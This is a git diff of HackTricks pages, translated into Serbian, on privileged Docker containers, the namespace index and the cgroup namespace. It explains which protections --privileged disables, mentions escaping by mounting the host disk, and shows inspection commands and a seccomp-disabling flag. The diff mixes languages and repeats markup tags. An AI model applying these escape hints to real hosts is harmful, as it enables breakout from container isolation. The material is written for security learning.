* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Šta utiče
|
||||
|
||||
Kada pokrenete kontejner sa privilegijama, onemogućavate sledeće zaštite:
|
||||
Kada pokrenete kontejner kao privilegovan, ovo su zaštite koje onemogućavate:
|
||||
|
||||
### Montiranje /dev
|
||||
|
||||
U privilegovanom kontejneru, svi **uređaji mogu biti pristupljeni u `/dev/`**. Stoga možete **izbeći** tako što ćete **montirati** disk domaćina.
|
||||
U privilegovanom kontejneru, svi **uređaji mogu biti pristupljeni u `/dev/`**. Stoga možete **pobeći** tako što ćete **montirati** disk domaćina.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Unutar podrazumevanog kontejnera" %}
|
||||
|
@ -43,9 +46,12 @@ cpu nbd0 pts stdout tty27
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Kernel fajl sistemi samo za čitanje
|
||||
### Datoteke sistema jezgra samo za čitanje
|
||||
|
||||
Kernel fajl sistemi pružaju mehanizam za proces da izmeni ponašanje kernela. Međutim, kada je reč o procesima kontejnera, želimo da sprečimo da izvrše bilo kakve promene na kernelu. Zato montiramo kernel fajl sisteme kao **samo za čitanje** unutar kontejnera, čime osiguravamo da procesi kontejnera ne mogu da menjaju kernel.
|
||||
Datoteke sistema jezgra pružaju mehanizam za proces da modifikuje ponašanje jezgra. Međutim, kada su u pitanju procesi kontejnera, želimo da sprečimo njihovo menjanje jezgra. Stoga, montiramo datoteke sistema jezgra kao **samo za čitanje** unutar kontejnera, osiguravajući da procesi kontejnera ne mogu modifikovati jezgro.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Unutar podrazumevanog kontejnera" %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
mount | grep '(ro'
|
||||
|
@ -64,12 +70,12 @@ mount | grep '(ro'
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Maskiranje preko kernel fajl sistema
|
||||
### Maskiranje nad datotečnim sistemima jezgra
|
||||
|
||||
Fajl sistem **/proc** je selektivno upisiv, ali iz bezbednosnih razloga, određeni delovi su zaštićeni od upisa i čitanja preko preklapanja sa **tmpfs**, čime se osigurava da procesi kontejnera ne mogu pristupiti osetljivim područjima.
|
||||
**/proc** datotečni sistem je selektivno zapisiv, ali iz bezbednosnih razloga, određeni delovi su zaštićeni od pisanja i čitanja preklapanjem sa **tmpfs**, osiguravajući da procesi kontejnera ne mogu pristupiti osetljivim oblastima.
|
||||
|
||||
{% hint style="info" %}
|
||||
**tmpfs** je fajl sistem koji čuva sve fajlove u virtuelnoj memoriji. tmpfs ne kreira fajlove na tvrdom disku. Dakle, ako demontirate tmpfs fajl sistem, svi fajlovi koji se u njemu nalaze su zauvek izgubljeni.
|
||||
**tmpfs** je datotečni sistem koji čuva sve datoteke u virtuelnoj memoriji. tmpfs ne kreira nikakve datoteke na vašem hard disku. Dakle, ako odmontirate tmpfs datotečni sistem, sve datoteke koje se u njemu nalaze su izgubljene zauvek.
|
||||
{% endhint %}
|
||||
|
||||
{% tabs %}
|
||||
|
@ -93,14 +99,14 @@ mount | grep /proc.*tmpfs
|
|||
|
||||
### Linux sposobnosti
|
||||
|
||||
Pokretači kontejnera pokreću kontejnere sa **ograničenim brojem sposobnosti** kako bi kontrolisali šta se dešava unutar kontejnera prema podrazumevanim postavkama. **Privilegovani** kontejneri imaju **sve** **sposobnosti** dostupne. Da biste saznali više o sposobnostima, pročitajte:
|
||||
Motori kontejnera pokreću kontejnere sa **ograničenim brojem sposobnosti** kako bi kontrolisali šta se dešava unutar kontejnera po defaultu. **Privilegovani** imaju **sve** **sposobnosti** dostupne. Da biste saznali više o sposobnostima, pročitajte:
|
||||
|
||||
{% content-ref url="../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../linux-capabilities.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Unutar podrazumevanog kontejnera" %}
|
||||
{% tab title="Unutar defaultnog kontejnera" %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
apk add -U libcap; capsh --print
|
||||
|
@ -123,18 +129,18 @@ Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fset
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Možete manipulisati sposobnostima dostupnim kontejneru bez pokretanja u `--privileged` režimu koristeći opcije `--cap-add` i `--cap-drop`.
|
||||
Možete manipulisati sposobnostima dostupnim kontejneru bez pokretanja u `--privileged` režimu koristeći `--cap-add` i `--cap-drop` zastavice.
|
||||
|
||||
### Seccomp
|
||||
|
||||
**Seccomp** je koristan za **ograničavanje** **sistemskih poziva** koje kontejner može izvršiti. Podrazumevani seccomp profil je omogućen podrazumevano prilikom pokretanja Docker kontejnera, ali je onemogućen u privilegovanom režimu. Saznajte više o Seccomp-u ovde:
|
||||
**Seccomp** je koristan za **ograničavanje** **syscalls** koje kontejner može pozvati. Podrazumevani seccomp profil je omogućen podrazumevano prilikom pokretanja docker kontejnera, ali u privilegovanom režimu je on onemogućen. Saznajte više o Seccomp-u ovde:
|
||||
|
||||
{% content-ref url="seccomp.md" %}
|
||||
[seccomp.md](seccomp.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Unutar podrazumevanog kontejnera" %}
|
||||
{% tab title="Inside default container" %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
grep Seccomp /proc/1/status
|
||||
|
@ -156,11 +162,11 @@ Seccomp_filters: 0
|
|||
# You can manually disable seccomp in docker with
|
||||
--security-opt seccomp=unconfined
|
||||
```
|
||||
Takođe, napomena da kada se Docker (ili drugi CRIs) koristi u **Kubernetes** klasteru, **seccomp filter je podrazumevano onemogućen**.
|
||||
Takođe, imajte na umu da kada se Docker (ili drugi CRI) koriste u **Kubernetes** klasteru, **seccomp filter je onemogućen po defaultu**
|
||||
|
||||
### AppArmor
|
||||
|
||||
**AppArmor** je unapređenje jezgra za ograničavanje **kontejnera** na **ograničen skup resursa** sa **profilima po programu**. Kada pokrenete sa `--privileged` zastavicom, ova zaštita je onemogućena.
|
||||
**AppArmor** je poboljšanje jezgra koje ograničava **kontejnere** na **ograničen** skup **resursa** sa **profilima po programu**. Kada pokrenete sa `--privileged` flagom, ova zaštita je onemogućena.
|
||||
|
||||
{% content-ref url="apparmor.md" %}
|
||||
[apparmor.md](apparmor.md)
|
||||
|
@ -171,7 +177,7 @@ Takođe, napomena da kada se Docker (ili drugi CRIs) koristi u **Kubernetes** kl
|
|||
```
|
||||
### SELinux
|
||||
|
||||
Pokretanje kontejnera sa `--privileged` zastavicom onemogućava **SELinux oznake**, što rezultira nasleđivanjem oznake kontejner motora, obično `unconfined`, što omogućava potpuni pristup sličan kontejner motoru. U režimu bez root prava, koristi se `container_runtime_t`, dok se u root režimu primenjuje `spc_t`.
|
||||
Pokretanje kontejnera sa `--privileged` zastavicom onemogućava **SELinux oznake**, uzrokujući da nasledi oznaku kontejnerskog motora, obično `unconfined`, što omogućava pun pristup sličan kontejnerskom motoru. U rootless režimu, koristi `container_runtime_t`, dok se u root režimu primenjuje `spc_t`.
|
||||
|
||||
{% content-ref url="../selinux.md" %}
|
||||
[selinux.md](../selinux.md)
|
||||
|
@ -184,7 +190,7 @@ Pokretanje kontejnera sa `--privileged` zastavicom onemogućava **SELinux oznake
|
|||
|
||||
### Namespaces
|
||||
|
||||
Namespaces **NISU pogođeni** `--privileged` zastavicom. Iako nemaju omogućene sigurnosne restrikcije, **ne vide sve procese na sistemu ili mrežu domaćina, na primer**. Korisnici mogu onemogućiti pojedinačne namespaces koristeći **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** zastavice kontejnerskog motora.
|
||||
Namespaces **NISU pogođeni** `--privileged` oznakom. Iako nemaju omogućena sigurnosna ograničenja, **ne vide sve procese na sistemu ili host mreži, na primer**. Korisnici mogu onemogućiti pojedinačne namespaces koristeći **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** oznake kontejnerskog motora.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Unutar podrazumevanog privilegovanog kontejnera" %}
|
||||
|
@ -197,7 +203,7 @@ PID USER TIME COMMAND
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Unutar --pid=host Kontejnera" %}
|
||||
{% tab title="Unutar --pid=host kontejnera" %}
|
||||
```bash
|
||||
# docker run --rm --privileged --pid=host -it alpine sh
|
||||
ps -ef
|
||||
|
@ -210,22 +216,25 @@ PID USER TIME COMMAND
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Простор имен корисника
|
||||
### User namespace
|
||||
|
||||
**По подразумеваном, контјенерски мотори не користе простор имена корисника, осим за контјенере без корена**, који их захтевају за монтирање фајл система и коришћење више УИД-ова. Простори имена корисника, који су неопходни за контјенере без корена, не могу бити онемогућени и значајно повећавају безбедност ограничавањем привилегија.
|
||||
**Podrazumevano, kontejnerski alati ne koriste korisničke imenske prostore, osim za kontejnere bez root privilegija**, koji ih zahtevaju za montiranje datotečnih sistema i korišćenje više UID-ova. Korisnički imenski prostori, koji su ključni za kontejnere bez root privilegija, ne mogu se onemogućiti i značajno poboljšavaju bezbednost ograničavanjem privilegija.
|
||||
|
||||
## Референце
|
||||
## References
|
||||
|
||||
* [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Научите хаковање AWS-а од нуле до хероја са</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Да ли радите у **компанији за кибер безбедност**? Желите ли да видите **вашу компанију рекламирану на HackTricks**? Или желите да имате приступ **најновијој верзији PEASS или преузмете HackTricks у PDF-у**? Проверите [**ПЛАНОВЕ ПРЕТПЛАТЕ**](https://github.com/sponsors/carlospolop)!
|
||||
* Откријте [**The PEASS Family**](https://opensea.io/collection/the-peass-family), нашу колекцију ексклузивних [**NFT-ова**](https://opensea.io/collection/the-peass-family)
|
||||
* Набавите [**званични PEASS & HackTricks сувенир**](https://peass.creator-spring.com)
|
||||
* **Придружите се** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord групи**](https://discord.gg/hRep4RUj7f) или [**телеграм групи**](https://t.me/peass) или ме **пратите** на **Твитеру** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поделите своје хакерске трикове слањем PR-ова на [hacktricks репо](https://github.com/carlospolop/hacktricks) и [hacktricks-cloud репо](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,26 @@
|
|||
# Namespaces
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
### **PID namespace**
|
||||
|
||||
|
@ -55,23 +63,31 @@ Drugi načini podrške HackTricks-u:
|
|||
{% content-ref url="user-namespace.md" %}
|
||||
[user-namespace.md](user-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### CGroup Namespace
|
||||
|
||||
{% content-ref url="cgroup-namespace.md" %}
|
||||
[cgroup-namespace.md](cgroup-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,32 +1,33 @@
|
|||
# CGroup Namespace
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Osnovne informacije
|
||||
## Basic Information
|
||||
|
||||
CGroup namespace je funkcionalnost Linux kernela koja pruža **izolaciju hijerarhija cgroup-ova za procese koji se izvršavaju unutar namespace-a**. Cgroup-ovi, skraćeno za **control groups**, su funkcionalnost kernela koja omogućava organizovanje procesa u hijerarhijske grupe radi upravljanja i sprovođenja **ograničenja na sistemskim resursima** kao što su CPU, memorija i I/O.
|
||||
Cgroup namespace je funkcija Linux kernela koja pruža **izolaciju cgroup hijerarhija za procese koji se izvršavaju unutar namespace-a**. Cgroups, skraćeno za **kontrolne grupe**, su funkcija kernela koja omogućava organizovanje procesa u hijerarhijske grupe radi upravljanja i sprovođenja **ograničenja na sistemske resurse** kao što su CPU, memorija i I/O.
|
||||
|
||||
Iako cgroup namespace-i nisu poseban tip namespace-a kao što su PID, mount, network, itd., oni su povezani sa konceptom izolacije namespace-a. **Cgroup namespace-i virtualizuju prikaz hijerarhije cgroup-ova**, tako da procesi koji se izvršavaju unutar cgroup namespace-a imaju drugačiji prikaz hijerarhije u odnosu na procese koji se izvršavaju na hostu ili drugim namespace-ima.
|
||||
Iako cgroup namespace-i nisu poseban tip namespace-a kao što su drugi koje smo ranije diskutovali (PID, mount, network, itd.), oni su povezani sa konceptom izolacije namespace-a. **Cgroup namespace-i virtualizuju pogled na cgroup hijerarhiju**, tako da procesi koji se izvršavaju unutar cgroup namespace-a imaju drugačiji pogled na hijerarhiju u poređenju sa procesima koji se izvršavaju na hostu ili u drugim namespace-ima.
|
||||
|
||||
### Kako funkcioniše:
|
||||
### How it works:
|
||||
|
||||
1. Kada se kreira novi cgroup namespace, **on počinje sa prikazom hijerarhije cgroup-ova zasnovanom na cgroup-u procesa koji ga kreira**. To znači da će procesi koji se izvršavaju u novom cgroup namespace-u videti samo podskup celokupne hijerarhije cgroup-ova, ograničen na podstablo cgroup-a koje ima korenski čvor u cgroup-u procesa koji ga kreira.
|
||||
2. Procesi unutar cgroup namespace-a će **videti svoj sopstveni cgroup kao koren hijerarhije**. To znači da, iz perspektive procesa unutar namespace-a, njihov sopstveni cgroup će se prikazivati kao koren, i oni neće moći videti ili pristupiti cgroup-ovima van svog sopstvenog podstabla.
|
||||
3. Cgroup namespace-i ne pružaju direktnu izolaciju resursa; **oni samo pružaju izolaciju prikaza hijerarhije cgroup-ova**. **Kontrola i izolacija resursa se i dalje sprovode putem podsistema cgroup-ova** (npr. cpu, memorija, itd.) samih.
|
||||
1. Kada se kreira novi cgroup namespace, **on počinje sa pogledom na cgroup hijerarhiju zasnovanom na cgroup-u procesa koji ga kreira**. To znači da će procesi koji se izvršavaju u novom cgroup namespace-u videti samo podskup cele cgroup hijerarhije, ograničen na cgroup podstablo koje se oslanja na cgroup procesa koji ga kreira.
|
||||
2. Procesi unutar cgroup namespace-a će **videti svoju vlastitu cgroup kao koren hijerarhije**. To znači da, iz perspektive procesa unutar namespace-a, njihova vlastita cgroup se pojavljuje kao koren, i ne mogu videti ili pristupiti cgroup-ima van svog podstabla.
|
||||
3. Cgroup namespace-i ne pružaju direktno izolaciju resursa; **oni samo pružaju izolaciju pogleda na cgroup hijerarhiju**. **Kontrola i izolacija resursa se i dalje sprovode od strane cgroup** pod sistema (npr., cpu, memorija, itd.) sami.
|
||||
|
||||
Za više informacija o CGroup-ovima pogledajte:
|
||||
Za više informacija o CGroups proverite:
|
||||
|
||||
{% content-ref url="../cgroups.md" %}
|
||||
[cgroups.md](../cgroups.md)
|
||||
|
@ -34,33 +35,33 @@ Za više informacija o CGroup-ovima pogledajte:
|
|||
|
||||
## Lab:
|
||||
|
||||
### Kreiranje različitih Namespace-ova
|
||||
### Create different Namespaces
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -C [--mount-proc] /bin/bash
|
||||
```
|
||||
Montiranjem nove instance `/proc` fajl sistema, korišćenjem parametra `--mount-proc`, obezbeđujete da nova mount namespace ima **tačan i izolovan prikaz informacija o procesima specifičnim za tu namespace**.
|
||||
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **tačnu i izolovanu sliku informacija o procesima specifičnim za tu imensku oblast**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Greška: bash: fork: Ne može se alocirati memorija</summary>
|
||||
<summary>Greška: bash: fork: Ne može da dodeli memoriju</summary>
|
||||
|
||||
Kada se `unshare` izvršava bez opcije `-f`, javlja se greška zbog načina na koji Linux rukuje novim PID (Process ID) namespace-om. Ključni detalji i rešenje su opisani u nastavku:
|
||||
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
|
||||
|
||||
1. **Objašnjenje problema**:
|
||||
- Linux kernel omogućava procesu da kreira nove namespace-ove koristeći `unshare` sistemski poziv. Međutim, proces koji pokreće kreiranje novog PID namespace-a (nazvan "unshare" proces) ne ulazi u novi namespace; samo njegovi podprocesi to čine.
|
||||
- Pokretanje `%unshare -p /bin/bash%` pokreće `/bin/bash` u istom procesu kao `unshare`. Kao rezultat, `/bin/bash` i njegovi podprocesi su u originalnom PID namespace-u.
|
||||
- Prvi podproces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces završi, pokreće se čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi. Linux kernel tada onemogućava alokaciju PID-ova u tom namespace-u.
|
||||
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
|
||||
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
|
||||
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
|
||||
|
||||
2. **Posledica**:
|
||||
- Izlazak PID 1 iz novog namespace-a dovodi do čišćenja `PIDNS_HASH_ADDING` zastavice. To rezultira neuspehom funkcije `alloc_pid` pri alociranju novog PID-a prilikom kreiranja novog procesa, što dovodi do greške "Ne može se alocirati memorija".
|
||||
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
|
||||
|
||||
3. **Rešenje**:
|
||||
- Problem se može rešiti korišćenjem opcije `-f` sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID namespace-a.
|
||||
- Izvršavanje `%unshare -fp /bin/bash%` osigurava da sam `unshare` komanda postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno smešteni unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu alokaciju PID-ova.
|
||||
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
|
||||
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
|
||||
|
||||
Obezbeđivanjem da `unshare` radi sa opcijom `-f`, novi PID namespace se pravilno održava, omogućavajući `/bin/bash` i njegovim podprocesima da rade bez greške alokacije memorije.
|
||||
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -68,22 +69,12 @@ Obezbeđivanjem da `unshare` radi sa opcijom `-f`, novi PID namespace se praviln
|
|||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  Proverite u kojem se namespace-u nalazi vaš proces
|
||||
|
||||
Da biste proverili u kojem se namespace-u nalazi vaš proces, možete koristiti sledeću komandu:
|
||||
|
||||
```bash
|
||||
cat /proc/$$/cgroup
|
||||
```
|
||||
|
||||
Ova komanda će vam prikazati informacije o kontrolnoj grupi (cgroup) kojoj pripada vaš proces. Ako se vaš proces nalazi u cgroup-namespace-u, videćete putanju koja počinje sa `/docker/` ili `/lxc/`. Na primer, ako vidite `/docker/1234567890abcdef`, to znači da se vaš proces nalazi u cgroup-namespace-u.
|
||||
|
||||
Ova informacija može biti korisna prilikom istraživanja i testiranja sigurnosti Docker kontejnera i drugih sistema koji koriste namespace-ove.
|
||||
###  Proverite u kojem je namespace vaš proces
|
||||
```bash
|
||||
ls -l /proc/self/ns/cgroup
|
||||
